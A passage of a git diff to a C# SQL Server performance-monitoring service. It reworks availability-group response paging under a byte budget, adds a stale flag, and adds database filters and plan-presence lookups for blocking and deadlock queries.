         var runningBytes = envelopeBytes;
         var budgetCut = false;
 
-        for (var i = 0; i < candidateGroups.Count; i++)
+        foreach (var index in selectionOrder)
         {
-            var group = candidateGroups[i];
-            var groupBytes = SerializedByteCount(group);
-            /* Every group after the first pays a comma; the first pays none, so this slightly over-counts a
-               single-group page by one byte rather than under-counting — the safe direction for a budget. */
-            var addedBytes = groupBytes + (pagedGroups.Count == 0 ? 0 : 1);
-
-            if (pagedGroups.Count > 0 && runningBytes + addedBytes > McpResponseBudget.DefaultBytes)
+            if (responseByteBudget is int budget)
             {
-                /* Stop BEFORE the group that would cross the budget — but always keep at least 1 group, even
-                   an oversized one, so a single huge AG never reads back as an empty result. */
-                budgetCut = true;
-                break;
+                var groupBytes = SerializedByteCount(groups[index]);
+                /* Every group after the first pays a comma; the first pays none, so this slightly over-counts a
+                   single-group page by one byte rather than under-counting — the safe direction for a budget. */
+                var addedBytes = groupBytes + (chosen.Count == 0 ? 0 : 1);
+
+                if (chosen.Count > 0 && runningBytes + addedBytes > budget)
+                {
+                    /* Skip a view that would cross the budget, but keep trying: a later, smaller view may still
+                       fit. The seed views come first, so a fleet whose one-view-per-group set alone crosses the
+                       budget is cut within that set; only the first view is guaranteed, so a huge AG never reads
+                       back as an empty result. */
+                    budgetCut = true;
+                    continue;
+                }
+
+                runningBytes += addedBytes;
             }
 
-            pagedGroups.Add(group);
-            runningBytes += addedBytes;
+            chosen.Add(index);
         }
 
-        var limitCut = candidateGroups.Count < totalGroupCount;
+        List<AvailabilityGroupView> Page() => chosen.OrderBy(i => i).Select(i => groups[i]).ToList();
+
+        var limitCut = effectiveLimit < totalGroupCount;
         var groupsTruncated = budgetCut || limitCut;
 
         /* The note names the actual reason: a caller who passed a small explicit limit is not helped by being
-           told to raise it if what actually cut the page was the byte budget (or the other way around) — #4474's
-           whole point is that the two can now disagree. budgetCut wins the wording when both are true, since
-           raising limit alone would not change the outcome. */
-        string? BuildNote(int returnedCount) =>
-            groupsTruncated
-                ? budgetCut
-                    ? $"TRUNCATED: {totalGroupCount} groups were in scope; only {returnedCount} fit the {McpResponseBudget.DefaultBytes:#,0}-byte response budget (most severe first, then by the largest lag/queue depth). Scope by server_name to see the rest."
-                    : $"TRUNCATED: {totalGroupCount} groups were in scope; only the top {returnedCount} (most severe first, then by the largest lag/queue depth) are returned. Scope by server_name, or raise limit, to see the rest."
-                : null;
-
-        var groupsTruncatedNote = BuildNote(pagedGroups.Count);
-        var result = BuildResult(nowUtc, groups, pagedGroups, totalGroupCount, groupsTruncated, groupsTruncatedNote);
-
-        /* The fill loop above measures each candidate group against an envelope with NO note (a null,
-           untruncated shell) — but the note itself (and the groups_truncated flag) are only known once the
-           fill decides whether it truncated, so a note that names actual byte counts can itself push the
-           final result over budget. Re-measure the REAL result — the one actually serialized and returned —
-           and drop the last group (rebuilding the note with the new, smaller count each time, since the note's
-           own text changes with the count) while it's still over budget and more than one group remains. This
-           is a tail correction only: the per-group fill above still serializes each candidate exactly once. */
-        while (SerializedByteCount(result) > McpResponseBudget.DefaultBytes && pagedGroups.Count > 1)
+           told to raise it if what actually cut the page was the byte budget (or the other way around).
+           budgetCut wins the wording when both are true, since raising limit alone would not change the outcome. */
+        string? BuildNote(int returnedCount)
         {
-            pagedGroups.RemoveAt(pagedGroups.Count - 1);
+            if (!groupsTruncated)
+            {
+                return null;
+            }
+
+            /* The AGs (seed keys) with no chosen view at all: the note must not claim a coverage it lacks. */
+            var chosenKeys = new HashSet<string>(chosen.Select(i => GroupKey(groups[i])), StringComparer.Ordinal);
+            var missing = seedByKey.Where(kv => !chosenKeys.Contains(kv.Key)).Select(kv => groups[kv.Value].AgName).OrderBy(n => n, StringComparer.Ordinal).ToList();
+            var order = missing.Count == 0
+                ? "at least one view of each availability group is kept first, then most severe first, then by the largest lag/queue depth"
+                : "most severe first, then by the largest lag/queue depth";
+            var missingSentence = missing.Count == 0
+                ? ""
+                : $" No view of {missing.Count} availability group(s) fit: {string.Join(", ", missing.Take(5))}{(missing.Count > 5 ? ", …" : "")}.";
+            var scope = missing.Count == 0 ? "to see the rest" : "to see them";
+
+            return budgetCut
+                ? $"TRUNCATED: {totalGroupCount} groups were in scope; only {returnedCount} fit the {responseByteBudget:#,0}-byte response budget ({order}).{missingSentence} Scope by server_name {scope}."
+                : $"TRUNCATED: {totalGroupCount} groups were in scope; only the top {returnedCount} ({order}) are returned.{missingSentence} Scope by server_name, or raise limit, {scope}.";
+        }
+
+        var result = BuildResult(nowUtc, groups, Page(), totalGroupCount, groupsTruncated, BuildNote(chosen.Count));
+
+        /* The fill loop measures each group against an envelope with NO note, but the note (which names byte
+           counts) is only known after the fill, so it can push the final result over budget. Re-measure the
+           REAL result and drop the last-added view (rebuilding the note each time) while it is over budget and
+           more than one view remains. Only reached when a byte budget applies. */
+        while (responseByteBudget is int finalBudget && SerializedByteCount(result) > finalBudget && chosen.Count > 1)
+        {
+            chosen.RemoveAt(chosen.Count - 1);
             groupsTruncated = true;
             budgetCut = true;
-            groupsTruncatedNote = BuildNote(pagedGroups.Count);
-            result = BuildResult(nowUtc, groups, pagedGroups, totalGroupCount, groupsTruncated, groupsTruncatedNote);
+            result = BuildResult(nowUtc, groups, Page(), totalGroupCount, groupsTruncated, BuildNote(chosen.Count));
         }
 
         return result;
     }
 
+    /// <summary>The identity of the availability group a view belongs to: its group_id (V151) when known, else
+    /// its AG name, so the keep-one-view-per-AG rule has something to key on before the column is populated.</summary>
+    private static string GroupKey(AvailabilityGroupView group) =>
+        !string.IsNullOrWhiteSpace(group.GroupId) ? "id:" + group.GroupId : "name:" + Key(group.AgName);
+
     /// <summary>Assembles the <see cref="AgHealthResult"/> envelope around a (possibly paged) group list —
     /// factored out of <see cref="Build"/> so the byte-budget walk above can call it with an EMPTY page to
     /// measure the envelope's own bytes exactly once, then again with the real page for the response actually
@@ -732,6 +805,12 @@ public sealed class AvailabilityGroupView
     [JsonPropertyName("severity")] public HealthSeverity Severity { get; init; }
 
     [JsonPropertyName("severity_label")] public string SeverityLabel { get; init; } = "";
+
+    /// <summary>True when the reporting server's newest replica snapshot is older than
+    /// <see cref="ServerHealthThresholds.OfflineThreshold"/> (#5489): the band is Warning (so the roll-up and
+    /// the severity sort never rank it below Healthy) and the label "Stale", rather than whatever the old rows said.</summary>
+    [JsonPropertyName("is_stale")] public bool IsStale { get; init; }
+
     [JsonPropertyName("replicas")] public IReadOnlyList<AgReplicaView> Replicas { get; init; } = Array.Empty<AgReplicaView>();
     [JsonPropertyName("databases")] public IReadOnlyList<AgDatabaseView> Databases { get; init; } = Array.Empty<AgDatabaseView>();
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs
index 333a4e2f68..ae9b3e7b66 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs
@@ -48,7 +48,7 @@ internal static class DarlingAlertReader
     public sealed record AlertHistoryReadRow(
         DateTime AlertTime, int ServerId, string ServerName, string MetricName,
         double CurrentValue, double ThresholdValue, bool AlertSent, string NotificationType,
-        string? SendError, bool Muted, string? DetailText, bool Dismissed, string? ContextJson = null);
+        string? SendError, bool Muted, string? DetailText, bool Dismissed, string? ContextJson = null, string? StoredServerName = null);
 
     private const string AlertHistorySelectColumns = @"
     a.alert_time,
@@ -63,6 +63,7 @@ public sealed record AlertHistoryReadRow(
     a.muted,
     a.detail_text,
     a.context_json,
+    a.server_name AS stored_server_name,
     a.dismissed";
 
     /// <summary>Per-server alert history — the viewer's <c>AlertHistorySql</c>. $1 window start, $2 window
@@ -166,6 +167,35 @@ public static async Task<List<AlertHistoryReadRow>> GetAlertHistoryPageAsync(
         return rows;
     }
 
+    /// <summary>The stored context of ONE alert, by the page's own row identity (#5241): $1 server_id, $2 metric_name
+    /// (exact), $3 alert_time (naive UTC). <c>config_alert_log</c> has no surrogate key, and the
+    /// <c>(server_id, metric_name, alert_time)</c> index serves this. Dismissed rows are included: a row the operator
+    /// hid from the grid is still a row whose advice they may have open. One row; the key is not unique in the
+    /// schema, and any match carries the same advice.</summary>
+    public const string AlertContextByKeySql = @"
+SELECT context_json
+FROM config_alert_log
+WHERE server_id = $1
+AND   metric_name = $2
+AND   alert_time = $3
+ORDER BY alert_time
+LIMIT 1";
+
+    /// <summary>The <c>context_json</c> of the alert with this identity, or null when there is no such row or it
+    /// stored no context (#5241).</summary>
+    public static async Task<string?> GetAlertContextJsonAsync(
+        NpgsqlDataSource postgres, int serverId, string metricName, DateTime alertTimeUtc, CancellationToken cancellationToken = default)
+    {
+        await using var command = postgres.CreateCommand(AlertContextByKeySql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddInt(command, serverId);
+        DarlingMcpReadParameters.AddText(command, metricName);
+        DarlingMcpReadParameters.AddTimestamp(command, alertTimeUtc);
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        return await reader.ReadAsync(cancellationToken) && !reader.IsDBNull(0) ? reader.GetString(0) : null;
+    }
+
     /// <summary>One <see cref="AlertHistoryReadRow"/> from a reader positioned on a row of
     /// <see cref="AlertHistorySelectColumns"/> (both the page read and the first-row-after reads use it, so the
     /// two can never disagree about a column).</summary>
@@ -182,10 +212,12 @@ private static AlertHistoryReadRow ReadHistoryRow(NpgsqlDataReader reader) =>
             reader.IsDBNull(8) ? null : reader.GetString(8),
             !reader.IsDBNull(9) && reader.GetBoolean(9),
             reader.IsDBNull(10) ? null : reader.GetString(10),
-            /* context_json sits at ordinal 11 and dismissed stays the LAST column at 12 — the viewer's
-               own column order, and the "dismissed is selected" pin anchors on it closing the list. */
-            !reader.IsDBNull(12) && reader.GetBoolean(12),
-            reader.IsDBNull(11) ? null : reader.GetString(11));
+            /* context_json sits at ordinal 11, the stored server_name (the spelling the producer's mute context
+               carries, as opposed to the display name at ordinal 2) at 12, and dismissed stays the LAST column
+               at 13 — the "dismissed is selected" pin anchors on it closing the list. */
+            !reader.IsDBNull(13) && reader.GetBoolean(13),
+            reader.IsDBNull(11) ? null : reader.GetString(11),
+            reader.IsDBNull(12) ? null : reader.GetString(12));
 
     /* ─────────── the first row after an alert (#4755) ─────────── */
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs
index d597b4d13f..151018c94f 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs
@@ -126,6 +126,22 @@ public sealed class BlockedProcessReadRow : BlockedProcessAlertRow
         public DateTime? BlockingLastBatchCompletedUtc { get; set; }
         public int BlockedPriority { get; set; }
         public int BlockingPriority { get; set; }
+
+        /// <summary>The report's own <c>collection_time</c> (#5236): half of the store key that
+        /// <see cref="ReadBlockedPlanFlagsAsync"/> re-reads a page's rows by. Null on a DMV-snapshot row, which has no key.</summary>
+        public DateTime? CollectionTime { get; set; }
+
+        /// <summary>The report's own <c>blocked_report_id</c> (#5236): the other half of that key. Null on a DMV-snapshot row.</summary>
+        public long? BlockedReportId { get; set; }
+
+        /// <summary>Whether this report carries a stored plan for the BLOCKED process (#5236). Filled in by
+        /// <see cref="ReadBlockedPlanFlagsAsync"/> for a page's rows, never by the list read itself, and it answers with
+        /// <c>IS NOT NULL AND &lt;&gt; ''</c>, the presence predicate the plan read (<c>BlockedPlanSql</c>) uses, so a
+        /// flagged row cannot come back "no plan". False until then, and on a DMV-snapshot row, which never has one.</summary>
+        public bool HasBlockedPlan { get; set; }
+
+        /// <summary>The same for the BLOCKING process's plan (#5236).</summary>
+        public bool HasBlockingPlan { get; set; }
     }
 
     /// <summary>One deadlock event — the shared alert-row fields (victim id/SQL, graph XML, the parsed
@@ -138,6 +154,15 @@ public sealed class DeadlockReadRow : DeadlockAlertRow
         /// <summary>The database the deadlock was captured for. On an Azure SQL Database <c>master</c>
         /// target this is the user database whose deadlock it is.</summary>
         public string? DatabaseName { get; set; }
+
+        /// <summary>The deadlock's own <c>deadlock_id</c> (#5236): with <see cref="CollectionTime"/>, the store key that
+        /// <see cref="ReadVictimPlanFlagsAsync"/> re-reads a page's rows by.</summary>
+        public long? DeadlockId { get; set; }
+
+        /// <summary>Whether this deadlock carries a stored plan for its victim (#5236), by the presence predicate
+        /// <c>DeadlockVictimPlanSql</c> reads with (<c>IS NOT NULL AND &lt;&gt; ''</c>). Filled in by
+        /// <see cref="ReadVictimPlanFlagsAsync"/> for a page's rows, never by the list read itself; false until then.</summary>
+        public bool HasVictimPlan { get; set; }
     }
 
     /* ─────────────────────────── blocked-process reports (XE + DMV fallback) ─────────────────────────── */
@@ -147,7 +172,12 @@ public sealed class DeadlockReadRow : DeadlockAlertRow
     /// to the columns Lite's get_blocked_process_reports surfaces. Reads the BASE table (the viewer reads
     /// base here too, for the V7 plan-column safety). The six transaction/batch stamps come back as the server's
     /// local clock and <see cref="MapXeRow"/> converts them to naive UTC with the server's clock (#4793);
-    /// <c>event_time</c> is the XE <c>@timestamp</c> and is already UTC, so it is deliberately left alone. $1 server_id, $2/$3 window (naive UTC), $4 row cap.
+    /// <c>event_time</c> is the XE <c>@timestamp</c> and is already UTC, so it is deliberately left alone. $1 server_id, $2/$3 window (naive UTC), $4 row cap, $5 the <see cref="EventWindowFloor"/>,
+    /// $6 database filter (<c>text[]</c>, NULL = all; #5244).
+    ///
+    /// <para><b>The database predicate is the list form (#5244).</b> <see cref="DatabaseFilter.Clause"/> on <c>database_name</c> at $6,
+    /// so one name and several names are the same statement text; it sits in the WHERE before the ORDER BY / LIMIT, so the cap is the
+    /// top N of the chosen databases.</para>
     ///
     /// <para>The cap is a PARAMETER, not a literal (#3541 A3). It was <c>LIMIT 200</c> while the tool advertised
     /// a caller-supplied <c>limit</c> and applied it with <c>Take(limit)</c>, so a window with 5,000 blocking
@@ -160,8 +190,9 @@ public sealed class DeadlockReadRow : DeadlockAlertRow
     /// after a capped fetch was the shape of the defect: a page of graph-less rows read as "no XML in the
     /// window" while older rows with reports sat behind the cap.</para>
     /// </summary>
-    public const string BlockedProcessReportsSql = BlockedProcessReportsBody + """
-
+    public static readonly string BlockedProcessReportsSql = $$"""
+        {{BlockedProcessReportsBody}}
+        {{DatabaseFilter.All.Clause("database_name", 6)}}
         ORDER BY event_time DESC
         LIMIT $4
         """;
@@ -170,8 +201,9 @@ ORDER BY event_time DESC
     /// <c>get_blocked_process_xml</c> pages over. Same parameters as <see cref="BlockedProcessReportsSql"/>.
     /// The predicate is on the base-table column, not on the projection, so the planner can apply it before
     /// the ORDER BY / LIMIT rather than after materializing every row's XML.</summary>
-    public const string BlockedProcessReportsWithXmlSql = BlockedProcessReportsBody + """
-
+    public static readonly string BlockedProcessReportsWithXmlSql = $$"""
+        {{BlockedProcessReportsBody}}
+        {{DatabaseFilter.All.Clause("database_name", 6)}}
         AND   blocked_process_report_xml IS NOT NULL
         AND   blocked_process_report_xml <> ''
         ORDER BY event_time DESC
@@ -182,7 +214,17 @@ ORDER BY event_time DESC
     /// report's own <c>event_time</c> (when it happened), as the viewer grid and Lite do; $5 is the
     /// <see cref="EventWindowFloor"/> for $2 — a partition-column bound with NO upper limit, so an event
     /// collected late (after an outage) still lists. Private so the
-    /// executable statements stay the two public consts the tests pin.</summary>
+    /// executable statements stay the two public consts the tests pin.
+    ///
+    /// <para>The last two columns (#5236) are the row's store key, <c>collection_time</c> and <c>blocked_report_id</c>. The plan
+    /// columns are deliberately NOT in this projection. In a compressed chunk every column a statement names is
+    /// decompressed for each batch it scans, and the list scans every row from the floor to now (there is no
+    /// <c>event_time</c> index) and sorts. A flag computed here was evaluated only after the per-chunk sorts, so each row's whole
+    /// plan text (about 29 KB) went through them: on a server where half the rows carry plans, a 7-day list read moved
+    /// from 0.5 s to 0.6 s and 9,153 to 13,937 buffers, and the deadlock list from 0.3 s to 1.9 s with 217 MB of sort spill.
+    /// The flags come from <see cref="BlockedPlanFlagsSql"/> instead, one statement for the page's rows only, so only the batches
+    /// holding the page's own rows decompress a plan column. (<c>&lt;&gt; ''</c> compares lengths and does not detoast a
+    /// heap tuple, which is why an uncompressed chunk never showed the cost.)</para></summary>
     private const string BlockedProcessReportsBody = """
         SELECT
             event_time,
@@ -219,7 +261,9 @@ ORDER BY event_time DESC
             blocked_priority,
             blocking_priority,
             blocked_process_report_xml,
-            contentious_object
+            contentious_object,
+            collection_time,
+            blocked_report_id
         FROM blocked_process_reports
         WHERE server_id = $1
         AND   event_time >= $2
@@ -227,16 +271,38 @@ FROM blocked_process_reports
         AND   collection_time >= $5
         """;
 
+    /// <summary>
+    /// The plan-presence flags for ONE PAGE of <see cref="BlockedProcessReportsSql"/> rows (#5236), found by the rows' own store
+    /// key: $1 server_id, $2 the page's <c>collection_time</c> values (<c>timestamp[]</c>), $3 the page's <c>blocked_report_id</c>
+    /// values (<c>bigint[]</c>). Both arrays name the same rows, so the result is mapped back by the (time, id) pair in
+    /// <see cref="ApplyBlockedPlanFlags"/>. The segment column and the time column let TimescaleDB skip every chunk and batch
+    /// that holds none of the page's rows, so only those batches decompress the two plan columns.
+    ///
+    /// <para>The predicate is <c>IS NOT NULL AND &lt;&gt; ''</c>, the same one <see cref="DarlingStoredPlanReader.BlockedPlanSql"/>
+    /// and <see cref="DarlingStoredPlanReader.BlockingPlanSql"/> read with, so a row flagged here is a row those reads can answer.</para>
+    /// </summary>
+    public const string BlockedPlanFlagsSql = """
+        SELECT
+            collection_time,
+            blocked_report_id,
+            (blocked_query_plan_xml IS NOT NULL AND blocked_query_plan_xml <> '') AS has_blocked_plan,
+            (blocking_query_plan_xml IS NOT NULL AND blocking_query_plan_xml <> '') AS has_blocking_plan
+        FROM blocked_process_reports
+        WHERE server_id = $1
+        AND   collection_time = ANY($2)
+        AND   blocked_report_id = ANY($3)
+        """;
+
     /// <summary>
     /// The always-on DMV blocking-snapshot fallback read — the viewer's <c>DmvBlockingSnapshotsSql</c>
     /// projection (the DMV snapshot carries no report XML, isolation levels, transaction/batch times, or
     /// priorities). Its <c>event_time</c> is the collector's own naive-UTC <c>collection_time</c>
     /// (<c>DmvBlockingSnapshotCollector</c> stamps it from <c>context.CollectionTime</c>), while its two
     /// transaction stamps come straight off <c>sys.dm_tran_active_transactions</c> and are server-local — so
-    /// the same conversion applies here (in <see cref="MapDmvRow"/>), on two columns instead of six. Same parameters as
-    /// <see cref="BlockedProcessReportsSql"/>, including the $4 row cap.
+    /// the same conversion applies here (in <see cref="MapDmvRow"/>), on two columns instead of six. $1 server_id, $2/$3 window (naive UTC), $4 row cap, $5 database filter
+    /// (<c>text[]</c>, NULL = all; #5244; the DMV arm has no floor, so the filter takes $5 where the XE read's takes $6).
     /// </summary>
-    public const string DmvBlockingSnapshotsSql = """
+    public static readonly string DmvBlockingSnapshotsSql = $$"""
         SELECT
             event_time,
             database_name,
@@ -262,6 +328,7 @@ FROM v_dmv_blocking_snapshots
         WHERE server_id = $1
         AND   collection_time >= $2
         AND   collection_time <= $3
+        {{DatabaseFilter.All.Clause("database_name", 5)}}
         ORDER BY event_time DESC
         LIMIT $4
         """;
@@ -283,8 +350,18 @@ ORDER BY event_time DESC
     /// full page as complete. The merge then re-caps to <paramref name="cap"/>, so a result of exactly
     /// <paramref name="cap"/> rows means "at least this many" and a shorter one means "all of them".</para>
     /// </summary>
+    public static Task<List<BlockedProcessReadRow>> GetRecentBlockedProcessReportsAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, CancellationToken cancellationToken = default) =>
+        GetRecentBlockedProcessReportsAsync(postgres, serverId, startUtc, endUtc, cap, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5244): <paramref name="databases"/> empty (<see cref="DatabaseFilter.All"/>) is every
+    /// database, otherwise both arms (the XE reports AND the DMV fallback) keep only the named databases' rows, so the cap, the
+    /// DMV arm's <c>cap + XE rows</c> over-fetch and the merge all run over the chosen databases.
+    /// </summary>
     public static async Task<List<BlockedProcessReadRow>> GetRecentBlockedProcessReportsAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, DatabaseFilter databases,
+        CancellationToken cancellationToken = default)
     {
         var items = new List<BlockedProcessReadRow>();
         var dmvItems = new List<BlockedProcessReadRow>();
@@ -293,7 +370,7 @@ public static async Task<List<BlockedProcessReadRow>> GetRecentBlockedProcessRep
         var clock = await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken);
         await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
 
-        await ReadXeRowsAsync(connection, BlockedProcessReportsSql, serverId, startUtc, endUtc, cap, clock, items, cancellationToken);
+        await ReadXeRowsAsync(connection, BlockedProcessReportsSql, serverId, startUtc, endUtc, cap, databases, clock, items, cancellationToken);
 
         await using (var command = new NpgsqlCommand(DmvBlockingSnapshotsSql, connection))
         {
@@ -302,6 +379,7 @@ public static async Task<List<BlockedProcessReadRow>> GetRecentBlockedProcessRep
             /* cap + the XE rows in hand: one DMV row can hide behind each XE row in the merge (see the
                method remarks), so this is what keeps a surplus observable after the dedupe. */
             DarlingMcpReadParameters.AddInt(command, cap + items.Count);
+            command.Parameters.Add(databases.Parameter());
             await using var reader = await command.ExecuteReaderAsync(cancellationToken);
             while (await reader.ReadAsync(cancellationToken))
             {
@@ -322,20 +400,27 @@ public static async Task<List<BlockedProcessReadRow>> GetRecentBlockedProcessRep
     /// it in would only add rows the caller has to discard, and discarding after a cap is the defect this
     /// exists to remove. Callers detecting truncation pass <c>limit + 1</c>.
     /// </summary>
+    public static Task<List<BlockedProcessReadRow>> GetRecentBlockedProcessReportsWithXmlAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, CancellationToken cancellationToken = default) =>
+        GetRecentBlockedProcessReportsWithXmlAsync(postgres, serverId, startUtc, endUtc, cap, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>The same XE-only read over a SET of databases (#5244): <see cref="DatabaseFilter.All"/> is every database, otherwise
+    /// only the named databases' reports are the population the cap runs over.</summary>
     public static async Task<List<BlockedProcessReadRow>> GetRecentBlockedProcessReportsWithXmlAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, DatabaseFilter databases,
+        CancellationToken cancellationToken = default)
     {
         var items = new List<BlockedProcessReadRow>();
         var clock = await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken);
         await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
-        await ReadXeRowsAsync(connection, BlockedProcessReportsWithXmlSql, serverId, startUtc, endUtc, cap, clock, items, cancellationToken);
+        await ReadXeRowsAsync(connection, BlockedProcessReportsWithXmlSql, serverId, startUtc, endUtc, cap, databases, clock, items, cancellationToken);
         return items;
     }
 
     /// <summary>Runs one of the two XE consts (same projection, same parameters) and appends its rows. One
     /// mapper for both so the with-XML variant cannot drift a column from the unfiltered one.</summary>
     private static async Task ReadXeRowsAsync(
-        NpgsqlConnection connection, string sql, int serverId, DateTime startUtc, DateTime endUtc, int cap,
+        NpgsqlConnection connection, string sql, int serverId, DateTime startUtc, DateTime endUtc, int cap, DatabaseFilter databases,
         ServerClock clock, List<BlockedProcessReadRow> items, CancellationToken cancellationToken)
     {
         await using var command = new NpgsqlCommand(sql, connection);
@@ -343,6 +428,7 @@ private static async Task ReadXeRowsAsync(
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
         DarlingMcpReadParameters.AddInt(command, cap);
         DarlingMcpReadParameters.AddTimestamp(command, EventWindowFloor.For(startUtc));
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -351,8 +437,9 @@ private static async Task ReadXeRowsAsync(
     }
 
     /// <summary>Maps one row of <see cref="BlockedProcessReportsSql"/> / <see cref="BlockedProcessReportsWithXmlSql"/>
-    /// (35 columns, in the SELECT's order). One mapper for both, so the with-XML variant cannot drift a column
-    /// from the unfiltered one.</summary>
+    /// (37 columns, in the SELECT's order; the last two are the row's store key, #5236, and the plan flags stay false until
+    /// <see cref="ReadBlockedPlanFlagsAsync"/> fills them for a page). One mapper for both, so the with-XML
+    /// variant cannot drift a column from the unfiltered one.</summary>
     internal static BlockedProcessReadRow MapXeRow(DbDataReader reader, ServerClock clock)
     {
         return new BlockedProcessReadRow
@@ -392,9 +479,74 @@ internal static BlockedProcessReadRow MapXeRow(DbDataReader reader, ServerClock
             BlockingPriority = reader.IsDBNull(32) ? 0 : reader.GetInt32(32),
             BlockedProcessReportXml = reader.IsDBNull(33) ? "" : reader.GetString(33),
             ContentiousObject = reader.IsDBNull(34) ? "" : reader.GetString(34),
+            CollectionTime = reader.IsDBNull(35) ? null : reader.GetDateTime(35),
+            BlockedReportId = reader.IsDBNull(36) ? null : reader.GetInt64(36),
         };
     }
 
+    /// <summary>
+    /// Fills <c>HasBlockedPlan</c> / <c>HasBlockingPlan</c> on the XE rows of one page of <c>get_blocking</c> (#5236), by
+    /// <see cref="BlockedPlanFlagsSql"/>: one statement over the page's own rows, issued after the page is known. A page with
+    /// no keyed row (every row a DMV snapshot) issues none.
+    /// </summary>
+    public static async Task ReadBlockedPlanFlagsAsync(
+        NpgsqlDataSource postgres, int serverId, IReadOnlyCollection<BlockedProcessReadRow> page, CancellationToken cancellationToken = default)
+    {
+        var keyed = new List<BlockedProcessReadRow>(page.Count);
+        foreach (var row in page)
+        {
+            if (row.CollectionTime is not null && row.BlockedReportId is not null)
+            {
+                keyed.Add(row);
+            }
+        }
+
+        if (keyed.Count == 0)
+        {
+            return;
+        }
+
+        var times = new DateTime[keyed.Count];
+        var ids = new long[keyed.Count];
+        for (var i = 0; i < keyed.Count; i++)
+        {
+            times[i] = DateTime.SpecifyKind(keyed[i].CollectionTime!.Value, DateTimeKind.Unspecified);
+            ids[i] = keyed[i].BlockedReportId!.Value;
+        }
+
+        var flags = new Dictionary<(DateTime Time, long Id), (bool Blocked, bool Blocking)>();
+        await using var command = postgres.CreateCommand(BlockedPlanFlagsSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddInt(command, serverId);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Timestamp, Value = times });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Bigint, Value = ids });
+        await using (var reader = await command.ExecuteReaderAsync(cancellationToken))
+        {
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                flags[(reader.GetDateTime(0), reader.GetInt64(1))] =
+                    (!reader.IsDBNull(2) && reader.GetBoolean(2), !reader.IsDBNull(3) && reader.GetBoolean(3));
+            }
+        }
+
+        ApplyBlockedPlanFlags(keyed, flags);
+    }
+
+    /// <summary>Sets the two flags on every row whose (collection_time, blocked_report_id) pair is in <paramref name="flags"/>;
+    /// a row with no entry (its report purged between the two statements) keeps both false.</summary>
+    internal static void ApplyBlockedPlanFlags(
+        IEnumerable<BlockedProcessReadRow> rows, IReadOnlyDictionary<(DateTime Time, long Id), (bool Blocked, bool Blocking)> flags)
+    {
+        foreach (var row in rows)
+        {
+            if (row.CollectionTime is { } time && row.BlockedReportId is { } id && flags.TryGetValue((time, id), out var found))
+            {
+                row.HasBlockedPlan = found.Blocked;
+                row.HasBlockingPlan = found.Blocking;
+            }
+        }
+    }
+
     /// <summary>Maps one row of <see cref="DmvBlockingSnapshotsSql"/> (20 columns, in the SELECT's order).</summary>
     internal static BlockedProcessReadRow MapDmvRow(DbDataReader reader, ServerClock clock)
     {
@@ -453,7 +605,12 @@ ORDER BY deadlock_time DESC
         """;
 
     /// <summary>Windows on <c>deadlock_time</c> (when the deadlock happened); $5 is the
-    /// <see cref="EventWindowFloor"/> for $2, with no upper bound so a late-collected deadlock still lists.</summary>
+    /// <see cref="EventWindowFloor"/> for $2, with no upper bound so a late-collected deadlock still lists. The last
+    /// column (#5236) is the row's <c>deadlock_id</c>, which with <c>collection_time</c> is its store key. The victim plan column is
+    /// deliberately NOT in this projection, for the reason <see cref="BlockedProcessReportsSql"/> gives (a compressed chunk
+    /// decompresses every named column of every batch it scans, and the plan text rode through the per-chunk sorts: a 7-day list
+    /// read went from 0.3 s to 1.9 s on a server where half the deadlocks carry a plan). The flag comes from
+    /// <see cref="DeadlockVictimPlanFlagsSql"/>, for the page's rows only.</summary>
     private const string RecentDeadlocksBody = """
         SELECT
             collection_time,
@@ -461,7 +618,8 @@ ORDER BY deadlock_time DESC
             victim_process_id,
             victim_sql_text,
             deadlock_graph_xml,
-            database_name
+            database_name,
+            deadlock_id
         FROM deadlocks
         WHERE server_id = $1
         AND   deadlock_time >= $2
@@ -469,6 +627,81 @@ FROM deadlocks
         AND   collection_time >= $5
         """;
 
+    /// <summary>
+    /// The victim-plan flag for ONE PAGE of <see cref="RecentDeadlocksSql"/> rows (#5236), found by the rows' own store key:
+    /// $1 server_id, $2 the page's <c>collection_time</c> values (<c>timestamp[]</c>), $3 the page's <c>deadlock_id</c> values
